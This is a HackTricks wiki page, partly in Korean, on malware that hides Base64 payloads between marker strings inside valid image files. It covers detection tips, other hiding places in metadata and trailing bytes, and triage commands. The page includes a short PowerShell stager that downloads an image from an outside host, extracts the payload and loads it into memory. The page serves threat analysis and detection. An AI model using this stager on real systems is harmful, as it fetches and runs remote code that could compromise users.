Malware & Network Stego

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Not all steganography is pixel LSB; commodity malware often hides payloads inside otherwise valid files.

실용적인 패턴

유효한 이미지에서의 Marker-delimited payloads

이미지가 다운로드되어 스크립트에 의해 즉시 text/Base64로 파싱되는 경우, payload는 종종 pixel-hidden 방식이 아니라 marker-delimited 방식이다.

Commodity loaders는 점점 더 Base64 payloads를 유효한 이미지(종종 GIF/PNG) 내부의 plain text로 숨긴다. pixel-level LSB 대신, payload는 파일의 text/metadata에 삽입된 고유한 marker strings로 구분된다. 그 후 stager는:

  • 이미지를 HTTP(S)로 다운로드한다
  • start/end markers를 찾는다
  • between-text를 추출한 뒤 Base64-decodes 한다
  • 메모리에서 loads/executes 한다

최소한의 PowerShell carving snippet:

$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}

Notes:

  • ATT&CK: T1027.003 (steganography)
  • 탐지/헌팅:
  • 다운로드한 이미지에서 구분자 문자열을 검색하세요.
  • 이미지를 가져오고 즉시 Base64 디코딩 루틴(PowerShell FromBase64String, JS atob 등)을 호출하는 스크립트를 플래그하세요.
  • HTTP content-type 불일치(image/* 응답이지만 본문이 긴 ASCII/Base64를 포함하는 경우)를 찾아보세요.

Other high-signal places to hide payloads

These are typically faster to check than content-level pixel stego:

  • 메타데이터: EXIF/XMP/IPTC, PNG tEXt/iTXt/zTXt, JPEG COM/APPn segments.
  • 후행 바이트: 형식상의 종료 마커 이후에 추가된 데이터(예: PNG IEND 이후).
  • 내장된 아카이브: ZIP/7z가 파일에 내장되거나 덧붙여져 로더에 의해 추출됨.
  • Polyglots: 여러 파서에서 유효하도록 제작된 파일들(예: image + script + archive).

트리아지 명령

file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample

참고 자료:

  • Unit 42 예시: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
  • MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
  • File format polyglots 및 container tricks: https://github.com/corkami/docs
  • Aperi’Solve (웹 기반 stego triage): https://aperisolve.com/

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기